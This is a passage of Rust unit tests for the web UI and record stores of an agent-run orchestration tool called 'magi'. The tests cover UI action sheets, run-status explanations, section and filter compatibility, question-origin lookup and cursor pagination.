25395        assert_eq!(weak.status, 304);
25396        let stale = fx
25397            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25398            .await;
25399        assert_eq!(stale.status, 200, "an older build must be replaced");
25400        assert!(stale.body.contains("renderRunActions"));
25401    }
25402
25403    #[test]
25404    fn the_task_detail_has_an_actions_fab_and_sheet() {
25405        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25406        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25407        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25408        // Shown only on the task route, closed everywhere else.
25409        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25410        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25411        // Refreshed whenever the detail redraws, including the loading state.
25412        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25413        assert!(APP_JS.contains("renderTaskActions(null);"));
25414        // Same action renderers as the Queue card. Bound this check by the
25415        // next function, since additional task controls can grow the sheet.
25416        let (_, sheet) = APP_JS
25417            .split_once("function renderTaskActions(task) {")
25418            .expect("sheet renderer");
25419        let (body, _) = sheet
25420            .split_once("\nfunction openTaskActions() {")
25421            .expect("end of sheet renderer");
25422        assert!(body.contains("changePriority("));
25423        assert!(body.contains("openTaskEdit(task)"));
25424        assert!(body.contains("renderTaskHoldBox(host"));
25425        assert!(body.contains("renderTaskDoneBox(host"));
25426        assert!(body.contains("renderTaskDeleteBox(host"));
25427        assert!(APP_JS.contains("API.priority(id)"));
25428        assert!(APP_JS.contains("API.deleteTask(id)"));
25429        // A deleted task sends the operator back to the queue.
25430        assert!(APP_JS.contains("location.hash = \"#/queue\""));
25431        // A refusal is shown inside the sheet.
25432        assert!(APP_JS.contains("$(\"task-actions-error\")"));
25433    }
25434
25435    #[test]
25436    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25437        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25438        let actions = INDEX_HTML
25439            .find("id=\"run-actions-box\"")
25440            .expect("actions box");
25441        assert!(task < actions, "the task entry comes first in the sheet");
25442        assert!(APP_JS.contains("renderRunTaskEntry"));
25443        assert!(APP_JS.contains("\"Open task \""));
25444        // A run without a task says why there is nothing to open.
25445        assert!(APP_JS.contains("started directly, no task"));
25446        assert!(APP_JS.contains("sheet-task-link"));
25447        assert!(APP_JS.contains("task-chip-link"));
25448    }
25449
25450    #[test]
25451    fn the_deck_never_sends_the_operator_to_a_terminal() {
25452        // The whole point of the phone UI is that a terminal is not needed.
25453        // The delete control used to answer with "Run `magi fold` first."
25454        assert!(
25455            !APP_JS.contains("Run `magi fold` first"),
25456            "the deck must offer the fold, not prescribe a shell command"
25457        );
25458        assert!(APP_JS.contains("foldRun:"));
25459        assert!(APP_JS.contains("resumeRun:"));
25460        assert!(APP_JS.contains("renderRunActions"));
25461
25462        // Folding is destructive and armed in two steps, like deleting.
25463        assert!(APP_JS.contains("armedFold"));
25464        assert!(APP_JS.contains("Yes, fold worktrees"));
25465
25466        // And the copy has to say that the two actions are opposites, because
25467        // folding throws away exactly what a resume would continue from.
25468        assert!(APP_JS.contains("can no longer be resumed"));
25469    }
25470
25471    #[test]
25472    fn a_finished_run_explains_itself_with_its_own_last_line() {
25473        // The deck used to answer "why did this stop?" with a sentence chosen
25474        // by status alone. Run e633 stalled because two judges answered with
25475        // the wrong JSON shape and its card said "The panel collapsed on
25476        // agent quota" - with `quota: []` in the record and a quota-loss
25477        // counter right above it that correctly said nothing.
25478        assert!(
25479            !APP_JS.contains("collapsed on agent quota"),
25480            "a stall must not be explained by a cause the deck did not check"
25481        );
25482        assert!(
25483            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25484            "and a block must not offer a guess with an `or` in it"
25485        );
25486
25487        // The reason it does have is `run.event`, which must reach finished
25488        // runs: gating it on movement hid the recorded truth at the one moment
25489        // the operator is reading the card to find out what happened.
25490        assert!(
25491            APP_JS.contains("setText(r.event, run.event || \"\")"),
25492            "the run's last line is rendered unconditionally"
25493        );
25494        assert!(
25495            !APP_JS.contains("moving && run.event"),
25496            "and never gated on the run still moving"
25497        );
25498
25499        // Quota keeps its own counter, fed by the number actually recorded.
25500        assert!(APP_JS.contains("lost to quota"));
25501    }
25502
25503    /// The runs tree (section) and the state chips (waiting/done) are two
25504    /// independent lenses ANDed together in `renderRuns`, and some pairings
25505    /// can never both be true for any run - every "Landed"/"Ended" run is
25506    /// done by construction, so pairing either with "Active" or "In flight"
25507    /// always rendered zero cards with the filter bar still claiming
25508    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
25509    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
25510    /// a handful of (waiting, status) shapes standing in for the run
25511    /// lifecycle, because `cargo test` cannot execute the front end.
25512    ///
25513    /// That stand-in list is itself the part that drifted twice in review:
25514    /// once shipped with `waiting: true` paired with a done status the
25515    /// lifecycle cannot produce, then over-corrected into treating every
25516    /// waiting run as never done - which made "Waiting on you" look
25517    /// incompatible with "Done" even for the one real, reachable shape
25518    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
25519    /// that combination. This test parses the shapes and the done-rule back
25520    /// out of `APP_JS`, reimplements `runSection` and the five state
25521    /// predicates independently in Rust, and checks the resulting
25522    /// section/filter compatibility table against the lifecycle rules by
25523    /// hand - so either direction of drift fails it again.
25524    #[test]
25525    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25526        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25527        let shapes_body_start =
25528            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25529        let shapes_close = APP_JS[shapes_body_start..]
25530            .find("].map(")
25531            .expect("the shape list is closed by its done-computing .map(...)")
25532            + shapes_body_start;
25533        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25534
25535        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25536        for entry in shapes_src.split('{').skip(1) {
25537            let waiting = entry.contains("waiting: true");
25538            let dead = entry.contains("live: \"dead\"");
25539            let status_at =
25540                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25541            let status_end = entry[status_at..]
25542                .find('"')
25543                .expect("the status string is closed")
25544                + status_at;
25545            let parked = entry.contains("display_status: \"parked\"");
25546            shapes.push((
25547                waiting,
25548                entry[status_at..status_end].to_string(),
25549                dead,
25550                parked,
25551            ));
25552        }
25553        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25554
25555        // The done rule itself (`!["implementing"].includes(shape.status)`),
25556        // read out of the source rather than hardcoded, so a renamed
25557        // in-flight status can't silently make every parsed shape "done".
25558        let done_rule_marker = "done: !";
25559        let done_rule_at = APP_JS[shapes_close..]
25560            .find(done_rule_marker)
25561            .expect("the done rule follows the shape list")
25562            + shapes_close
25563            + done_rule_marker.len();
25564        let includes_at = APP_JS[done_rule_at..]
25565            .find(".includes(shape.status)")
25566            .expect("the done rule ends in .includes(shape.status)")
25567            + done_rule_at;
25568        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25569            .trim()
25570            .trim_start_matches('[')
25571            .trim_end_matches(']')
25572            .split(',')
25573            .map(|s| s.trim().trim_matches('"'))
25574            .filter(|s| !s.is_empty())
25575            .collect();
25576
25577        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25578            .into_iter()
25579            .map(|(waiting, status, dead, parked)| {
25580                let done = !not_done.contains(&status.as_str());
25581                (waiting, status, dead, parked, done)
25582            })
25583            .collect();
25584
25585        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
25586        // outright, then merged/ready land, stalled/blocked/failed/
25587        // verified_noop end, and everything else is still in flight.
25588        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25589            if waiting {
25590                return "waiting";
25591            }
25592            if dead
25593                && !parked
25594                && !matches!(
25595                    status,
25596                    "merged"
25597                        | "ready"
25598                        | "stalled"
25599                        | "blocked"
25600                        | "failed"
25601                        | "verified_noop"
25602                        | "superseded"
25603                        | "already_in_base"
25604                )
25605            {
25606                return "stale";
25607            }
25608            match status {
25609                "merged" | "ready" => "landed",
25610                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25611                | "already_in_base" => "ended",
25612                _ => "flight",
25613            }
25614        }
25615
25616        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
25617        // way.
25618        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25619            match filter_key {
25620                "active" => !done,
25621                "flight" => !done && !waiting && !dead,
25622                "stale" => !done && !waiting && dead,
25623                "waiting" => waiting,
25624                "done" => done,
25625                "all" => true,
25626                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25627            }
25628        }
25629
25630        let compatible = |section: &str, filter_key: &str| {
25631            shapes.iter().any(|(waiting, status, dead, parked, done)| {
25632                run_section(*waiting, status, *dead, *parked) == section
25633                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25634            })
25635        };
25636
25637        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
25638        // (active, flight, stale, waiting, done, all) - hand-derived from the
25639        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
25640        // currently contains.
25641        let expected = [
25642            ("waiting", [true, false, false, true, true, true]),
25643            ("stale", [true, false, true, false, false, true]),
25644            ("flight", [true, true, false, false, false, true]),
25645            ("landed", [false, false, false, false, true, true]),
25646            ("ended", [false, false, false, false, true, true]),
25647        ];
25648        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25649
25650        for (section, wants) in expected {
25651            for (filter_key, want) in filter_keys.iter().zip(wants) {
25652                assert_eq!(
25653                    compatible(section, filter_key),
25654                    want,
25655                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25656                );
25657            }
25658        }
25659
25660        // The compatibility check exists only to be acted on: both pickers
25661        // must actually consult it rather than just render its answer.
25662        assert!(
25663            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25664        );
25665        assert!(APP_JS.contains(
25666            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25667        ));
25668        assert!(APP_JS.contains(
25669            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25670        ));
25671    }
25672
25673    #[tokio::test]
25674    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25675        // An operator-named directory - git checkout or not - is never
25676        // second-guessed, even when it does not exist at all: only the
25677        // flag's own unmodified `.` default is ever eligible for discovery.
25678        let dir = tempfile::tempdir().expect("tempdir");
25679        let explicit = dir.path().join("not-a-checkout");
25680        std::fs::create_dir_all(&explicit).expect("create dir");
25681        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25682
25683        let missing = dir.path().join("does-not-exist-at-all");
25684        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25685    }
25686
25687    #[test]
25688    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25689        assert!(APP_JS.contains("function statsDonutArcs"));
25690        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25691        // A bucket click filters by the statuses src/stats.rs counts in it.
25692        assert!(APP_JS.contains("function statusInBucket"));
25693        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25694        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25695        let buckets = [
25696            "merged",
25697            "ready",
25698            "in_progress",
25699            "blocked",
25700            "failed",
25701            "verified_noop",
25702            "superseded",
25703            "stalled",
25704        ];
25705        for key in buckets {
25706            let var = format!("--verdict-{key}:");
25707            // Light, OS-dark and pinned-dark blocks each define it.
25708            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25709            assert!(
25710                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25711                "{key}"
25712            );
25713        }
25714    }
25715
25716    #[tokio::test]
25717    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25718        let dir = tempfile::tempdir().expect("tempdir");
25719        let queue = Queue::at(dir.path().join("queue"));
25720        let talks = Talks::at(dir.path().join("talks"));
25721        std::fs::create_dir_all(queue.root()).unwrap();
25722        std::fs::create_dir_all(talks.root()).unwrap();
25723
25724        // Put a corrupt json file in both stores
25725        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25726        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25727
25728        // Valid task and talk
25729        let mut task = Task::new(
25730            "title".into(),
25731            "inst".into(),
25732            PathBuf::from("/repo"),
25733            Source::Human,
25734        );
25735        task.id = "20261019-123456-abcd".into();
25736        // Write manually so it's a valid file
25737        std::fs::write(
25738            queue.path_of(&task.id),
25739            serde_json::to_string(&task).unwrap(),
25740        )
25741        .unwrap();
25742
25743        let talk_id = "20261019-234567-cdef";
25744        seed_talk_at(&talks, talk_id, "open");
25745
25746        // Exact match should succeed without failing on the corrupt json file
25747        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25748        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25749
25750        // Prefix match should also succeed by scanning file names without deserializing corrupt file
25751        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25752        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25753    }
25754
25755    #[tokio::test]
25756    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25757        let home = tempfile::tempdir().unwrap();
25758        let ui = delta_test_ui(home.path());
25759        // A full history traversal would fail even with no questions.
25760        std::fs::write(ui.queue.root(), "not a directory").unwrap();
25761        std::fs::write(ui.talks.root(), "not a directory").unwrap();
25762        assert!(
25763            questions_list(State(ui.clone()))
25764                .await
25765                .unwrap()
25766                .0
25767                .is_empty()
25768        );
25769        assert!(
25770            question_origins(State(ui.clone()))
25771                .await
25772                .unwrap()
25773                .0
25774                .is_empty()
25775        );
25776        let mut question = Question::new(
25777            "run-history".into(),
25778            "review".into(),
25779            "seat".into(),
25780            "Useful question".into(),
25781            "Useful detail".into(),
25782            vec![],
25783        );
25784        ui.questions.put(&mut question).unwrap();
25785        let core = questions_core(State(ui.clone())).await.unwrap().0;
25786        assert_eq!(core.len(), 1);
25787        assert_eq!(core[0].question.summary, "Useful question");
25788        assert!(!core[0].can_consult_chat);
25789        assert!(core[0].origin_chat.is_none());
25790        assert_eq!(core[0].record_revision, question_record_revision(&question));
25791        assert!(question_origins(State(ui.clone())).await.is_err());
25792        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25793    }
25794
25795    #[tokio::test]
25796    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25797        let home = tempfile::tempdir().unwrap();
25798        let ui = delta_test_ui(home.path());
25799        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25800        let mut parent = Task::new(
25801            "parent".into(),
25802            "body".into(),
25803            PathBuf::from("/repo"),
25804            Source::Agent {
25805                run: chat.clone(),
25806                node: crate::queue::CHAT_NODE.into(),
25807            },
25808        );
25809        parent.id = "parent-task".into();
25810        parent.runs = vec!["parent-run".into()];
25811        ui.queue.put(&mut parent).unwrap();
25812        let mut previous = parent;
25813        for generation in 1..=2 {
25814            let mut child = Task::new(
25815                "child".into(),
25816                "body".into(),
25817                PathBuf::from("/repo"),
25818                Source::Human,
25819            );
25820            child.id = format!("child-task-{generation}");
25821            child.runs = vec![format!("child-run-{generation}")];
25822            child.followup = Some(crate::queue::FollowUp {
25823                origin_task: Some(previous.id.clone()),
25824                run: previous.runs[0].clone(),
25825                pr: String::new(),
25826                findings: vec![],
25827                generation,
25828            });
25829            ui.queue.put(&mut child).unwrap();
25830            previous = child;
25831        }
25832        // A run may have the same spelling as another task's id; its owner
25833        // must not override a typed task reference.
25834        let mut collision = Task::new(
25835            "collision".into(),
25836            String::new(),
25837            PathBuf::from("/repo"),
25838            Source::Human,
25839        );
25840        collision.id = "collision-task".into();
25841        collision.runs = vec![previous.id.clone()];
25842        ui.queue.put(&mut collision).unwrap();
25843        let mut questions = Vec::new();
25844        for (node, reference, expected, eligible) in [
25845            (crate::triage::NODE, previous.id.as_str(), true, false),
25846            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25847            ("review", previous.runs[0].as_str(), true, true),
25848            (
25849                crate::bump::NOTICE_NODE,
25850                previous.runs[0].as_str(),
25851                true,
25852                false,
25853            ),
25854            // Identical text in the wrong reference namespace is not evidence.
25855            ("review", previous.id.as_str(), false, false),
25856            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25857            ("review", "unrelated", false, false),
25858        ] {
25859            let mut q = Question::new(
25860                reference.into(),
25861                node.into(),
25862                "seat".into(),
25863                "Question".into(),
25864                String::new(),
25865                vec![],
25866            );
25867            ui.questions.put(&mut q).unwrap();
25868            questions.push((q, expected, eligible));
25869        }
25870        for (node, reference, associated, eligible) in [
25871            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25872            (
25873                crate::reconcile::NODE,
25874                previous.runs[0].as_str(),
25875                false,
25876                true,
25877            ),
25878            ("implement", previous.id.as_str(), false, false),
25879        ] {
25880            let mut q = Question::new(
25881                reference.into(),
25882                node.into(),
25883                crate::reconcile::SEAT.into(),
25884                "Reconcile".into(),
25885                String::new(),
25886                vec![],
25887            );
25888            ui.questions.put(&mut q).unwrap();
25889            questions.push((q, associated, eligible));
25890        }
25891        let mut release = Question::new(
25892            "release-record".into(),
25893            crate::bump::NOTICE_NODE.into(),
25894            "release-watch".into(),
25895            "Release".into(),
25896            String::new(),
25897            vec![],
25898        );
25899        ui.questions.put(&mut release).unwrap();
25900        let watch = crate::release_watch::WatchState {
25901            question: Some(release.id.clone()),
25902            run: Some(previous.runs[0].clone()),
25903            held_task: Some(previous.id.clone()),
25904            ..Default::default()
25905        };
25906        let watch_dir = home.path().join("release-watch");
25907        std::fs::create_dir_all(&watch_dir).unwrap();
25908        let watch_path = watch_dir.join("watch.json");
25909        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25910        // Ordinary questions and bump notices do not need watch-store I/O.
25911        for batch in [
25912            Vec::new(),
25913            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25914        ] {
25915            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25916            assert!(watches.is_empty());
25917        }
25918        questions.push((release.clone(), true, false));
25919
25920        let views = questions_list(State(ui.clone())).await.unwrap().0;
25921        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25922        for (q, associated, eligible) in &questions {
25923            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25924            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25925            let expected = associated.then_some(chat.as_str());
25926            assert_eq!(
25927                view.origin_chat.as_deref(),
25928                expected,
25929                "{} {}",
25930                q.node,
25931                q.run
25932            );
25933            assert_eq!(origin.origin_chat.as_deref(), expected);
25934            assert_eq!(view.origin_chat_closed, *associated);
25935            assert_eq!(origin.origin_chat_closed, *associated);
25936            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25937            assert_eq!(origin.can_consult_chat, *eligible);
25938        }
25939        // Either saved link independently recovers a release question's owner.
25940        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25941            let link = crate::release_watch::WatchState {
25942                run,
25943                held_task,
25944                ..watch.clone()
25945            };
25946            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25947            let (tasks, talks, watches) =
25948                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25949            assert_eq!(
25950                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25951                    .unwrap()
25952                    .id,
25953                chat,
25954            );
25955            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25956        }
25957        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25958        // Even identical duplicate records are ambiguous: ignore their links.
25959        let duplicate_path = watch_dir.join("duplicate.json");
25960        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25961        let (tasks, talks, watches) =
25962            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25963        assert!(
25964            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25965                .is_none()
25966        );
25967        std::fs::remove_file(duplicate_path).unwrap();
25968        // Another explicit owner is a conflict even if it has no chat.
25969        let mut unrelated = Task::new(
25970            "other".into(),
25971            String::new(),
25972            PathBuf::from("/repo"),
25973            Source::Human,
25974        );
25975        unrelated.id = "unrelated-task".into();
25976        ui.queue.put(&mut unrelated).unwrap();
25977        let mut conflicting = watch.clone();
25978        conflicting.held_task = Some(unrelated.id);
25979        std::fs::write(
25980            watch_dir.join("conflict.json"),
25981            serde_json::to_vec(&conflicting).unwrap(),
25982        )
25983        .unwrap();
25984        let (tasks, talks, watches) =
25985            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25986        assert!(
25987            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25988                .is_none()
25989        );
25990        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25991        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25992        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25993            assert!(origin.origin_chat.is_none());
25994            assert!(!origin.origin_chat_closed);
25995        }
25996    }
25997
25998    #[test]
25999    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
26000        let home = tempfile::tempdir().unwrap();
26001        let ui = delta_test_ui(home.path());
26002        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
26003        for i in 0..1000 {
26004            let mut task = Task::new(
26005                "unrelated".into(),
26006                "instruction ".repeat(256),
26007                PathBuf::from("/repo"),
26008                Source::Human,
26009            );
26010            task.id = format!("history-{i:04}");
26011            ui.queue.put(&mut task).unwrap();
26012            let id = seed_talk_at(&ui.talks, &task.id, "open");
26013            let mut talk = ui.talks.get(&id).unwrap();
26014            talk.pending = "history ".repeat(256);
26015            ui.talks.put(&mut talk).unwrap();
26016        }
26017        let mut parent = Task::new(
26018            "parent".into(),
26019            "body".into(),
26020            PathBuf::from("/repo"),
26021            Source::Agent {
26022                run: chat_id.clone(),
26023                node: crate::queue::CHAT_NODE.into(),
26024            },
26025        );
26026        parent.id = "task-parent".into();
26027        parent.runs = vec!["run-parent".into()];
26028        ui.queue.put(&mut parent).unwrap();
26029        let mut child = Task::new(
26030            "child".into(),
26031            "body".into(),
26032            PathBuf::from("/repo"),
26033            Source::Human,
26034        );
26035        child.id = "task-child".into();
26036        child.runs = vec!["run-child".into()];
26037        child.followup = Some(crate::queue::FollowUp {
26038            run: "run-parent".into(),
26039            origin_task: Some(parent.id.clone()),
26040            pr: "https://example.invalid/pr/1".into(),
26041            findings: vec![],
26042            generation: 1,
26043        });
26044        ui.queue.put(&mut child).unwrap();
26045        let mut question = Question::new(
26046            child.id.clone(),
26047            crate::conduct::NODE.into(),
26048            "seat".into(),
26049            "Continue?".into(),
26050            String::new(),
26051            vec![],
26052        );
26053        let (tasks, talks, _watches) =
26054            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26055        assert_eq!(tasks.len(), 2);
26056        assert_eq!(talks.len(), 1);
26057        assert_eq!(
26058            ui.monitor.queue_index.lock().unwrap().reparsed,
26059            0,
26060            "exact ancestry bypasses the index"
26061        );
26062        assert_eq!(
26063            crate::consult::origin_talk(&tasks, &talks, &question)
26064                .unwrap()
26065                .id,
26066            chat_id
26067        );
26068        question.run = "run-child".into();
26069        question.node = "review".into();
26070        for origin_task in [Some(parent.id.clone()), None] {
26071            child.followup.as_mut().unwrap().origin_task = origin_task;
26072            ui.queue.put(&mut child).unwrap();
26073            let (tasks, talks, _watches) =
26074                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26075            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
26076            let expected =
26077                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
26078                    .unwrap();
26079            assert_eq!(actual.id, expected.id);
26080            assert!(!actual.status.open());
26081            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26082            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26083            // Without Unix file identity, every readable record must be
26084            // reparsed to detect same-size, same-mtime replacements safely.
26085            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
26086            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26087        }
26088        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
26089        ui.queue.put(&mut child).unwrap();
26090        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
26091        let (tasks, talks, _watches) =
26092            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26093        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26094        child.origin_chat = Some(chat_id.clone());
26095        ui.queue.put(&mut child).unwrap();
26096        let (tasks, talks, _watches) =
26097            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26098        assert_eq!(
26099            crate::consult::origin_talk(&tasks, &talks, &question)
26100                .unwrap()
26101                .id,
26102            chat_id
26103        );
26104        let revision = question_record_revision(&question);
26105        question.abandon("settled elsewhere");
26106        assert_ne!(revision, question_record_revision(&question));
26107        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26108        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
26109        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
26110        let (tasks, talks, _watches) =
26111            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26112        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
26113    }
26114
26115    #[test]
26116    fn list_cursors_freeze_membership_and_expire_explicitly() {
26117        let home = tempfile::tempdir().unwrap();
26118        let ui = delta_test_ui(home.path());
26119        std::fs::create_dir_all(ui.queue.root()).unwrap();
26120        for i in 0..40 {
26121            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
26122        }
26123        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
26124        assert_eq!(first.len(), STORE_PAGE_SIZE);
26125        let cursor = cursor.unwrap();
26126        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
26127        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
26128        let (second, _) = page_ids(
26129            &ui,
26130            false,
26131            PageQuery {
26132                before: Some(cursor.clone()),
26133            },
26134        )
26135        .unwrap();
26136        assert_eq!(second[0], "record-0023");
26137        assert!(second.iter().all(|id| !first.contains(id)));
26138        assert!(
26139            page_ids(
26140                &ui,
26141                true,
26142                PageQuery {
26143                    before: Some(cursor.clone())
26144                }
26145            )
26146            .is_err()
26147        );
26148        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
26149        assert_eq!(fresh[0], "record-9999");
26150        ui.monitor.list_walks.lock().unwrap().clear();
26151        assert!(
26152            page_ids(
26153                &ui,
26154                false,
26155                PageQuery {
26156                    before: Some(cursor)
26157                }
26158            )
26159            .is_err()
26160        );
26161    }
26162
26163    #[tokio::test]
26164    async fn talk_pages_load_every_open_then_frozen_closed_history() {
26165        let home = tempfile::tempdir().unwrap();
26166        let ui = delta_test_ui(home.path());
26167        // Every closed conversation is newer by ID than every open conversation.
26168        for i in 0..23 {
26169            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
26170        }
26171        for i in 0..45 {
26172            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
26173        }
26174        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
26175        let first = talks_page(
26176            State(ui.clone()),
26177            Query(PageQuery::default()),
26178            header::HeaderMap::new(),
26179        )
26180        .await
26181        .unwrap()
26182        .0;
26183        assert_eq!(
26184            first.rows.iter().filter(|row| row.status.open()).count(),
26185            23
26186        );
26187        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
26188        assert!(first.rows[..23].iter().all(|row| row.status.open()));
26189        let parsed = ui
26190            .monitor
26191            .talk_parses
26192            .load(std::sync::atomic::Ordering::Relaxed);
26193        assert_eq!(
26194            parsed,
26195            first.rows.len(),
26196            "closed bodies outside this page are not restored"
26197        );
26198        let fresh = talks_page(
26199            State(ui.clone()),
26200            Query(PageQuery::default()),
26201            header::HeaderMap::new(),
26202        )
26203        .await
26204        .unwrap()
26205        .0;
26206        assert_eq!(fresh.rows.len(), first.rows.len());
26207        assert_eq!(
26208            ui.monitor
26209                .talk_parses
26210                .load(std::sync::atomic::Ordering::Relaxed),
26211            parsed
26212        );
26213        let mut seen: std::collections::HashSet<_> =
26214            first.rows.iter().map(|row| row.id.clone()).collect();
26215        // Status changes keep their original membership position until refresh.
26216        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
26217        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
26218        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
26219        let mut next = first.next;
26220        while let Some(cursor) = next {
26221            let page = talks_page(
26222                State(ui.clone()),
26223                Query(PageQuery {
26224                    before: Some(cursor),
26225                }),
26226                header::HeaderMap::new(),
26227            )
26228            .await
26229            .unwrap()
26230            .0;
26231            assert!(page.rows.len() <= STORE_PAGE_SIZE);
26232            for row in page.rows {
26233                assert!(seen.insert(row.id), "a cursor must not repeat membership");
26234            }
26235            next = page.next;
26236        }
26237        let expected: HashSet<_> = (0..23)
26238            .map(|i| format!("20260101-000000-{i:03}"))
26239            .chain(
26240                (0..45)
26241                    .filter(|i| *i != 1)
26242                    .map(|i| format!("20261019-000000-{i:03}")),
26243            )
26244            .collect();
26245        assert_eq!(
